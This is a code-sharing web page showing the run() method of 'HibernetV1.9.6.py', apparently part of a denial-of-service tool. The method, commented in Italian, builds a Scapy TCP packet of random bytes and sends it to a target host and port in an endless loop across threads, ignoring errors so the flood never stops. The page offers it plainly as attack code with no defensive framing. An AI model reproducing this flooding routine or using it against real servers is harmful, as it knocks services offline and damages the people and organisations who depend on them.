HibernetV1.9.6.py 文件源码

python
阅读 28 收藏 0 点赞 0 评论 0

项目:Hibernet 作者: All3xJ 项目源码 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        data = random._urandom(1024) # data per il pacchetto random
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
        go.wait() # aspetta che tutti i threads siano pronti
        while True: # ciclo infinito
            try: # il try per non far chiudere il programma se qualcosa va storto
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione solito socket
                s.connect((str(url2),int(port))) # connessione al target
                s.send(p) # questo manda il pacchetto tcp creato al target
                print ("Request Sent! @", self.counter) # print richiesta + counter
            except: # se si verifica un errore
                s.close() # lo ignora e ricomincia il ciclo
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号